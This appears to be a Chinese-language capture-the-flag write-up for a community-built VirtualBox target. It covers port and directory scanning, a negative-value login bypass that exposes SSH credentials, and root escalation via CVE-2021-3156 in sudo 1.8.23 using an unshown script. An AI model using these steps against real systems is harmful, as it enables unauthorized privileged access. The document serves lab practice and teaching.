

群友靶机-lanSSudoyy

信息搜集

```
└─(root@kali)-[~]
└─# nmap 192.168.1.13
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 05:05 EDT
Nmap scan report for bogon (192.168.1.13)
Host is up (0.00049s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:25:0C:77 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
```

开放了22和80

看一下web

```
└─(root@kali)-[~]
└─# curl 192.168.1.13
index
```

扫一下目录

```
[05:07:54] 200 - 503B - /index.php
[05:07:54] 200 - 503B - /index.php/login/
```

看一下界面



经典的逻辑漏洞，输入一个负值即可绕过



得到了用户凭证

```
sublarge:SublargePass2026
```

ssh登陆

```
└─# ssh sublarge@192.168.1.13
sublarge@192.168.1.13's password:
Linux lanSSudoyy 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 25 05:11:48 2026 from 192.168.1.7
sublarge@lanSSudoyy:~$ id
uid=1000(sublarge) gid=1000(sublarge) groups=1000(sublarge)
```

没有sudo权限, 直接看opt

```
sublarge@lanSSudoyy:/opt$ ls
sudo-1.8.23
```

可以看到sudo的版本1.8.23, 存在一个CVE-2021-3156漏洞

直接使用这个[脚本](#)

```
sublarge@lanSSudooy:~$ ./2.py  
# id  
uid=0(root) gid=0(root) groups=0(root),1000(sublarge)
```

flag

```
root@lanSSudooy:/home/sublarge# cat /root/root.txt /home/sublarge/user.txt  
flag{root-fjskljdk;dajfsa;lfsajkfl}  
flag{user-fjsklfsdlkfjdklfl;l;jfwieodjk;dajfsa;lfsajkfl}
```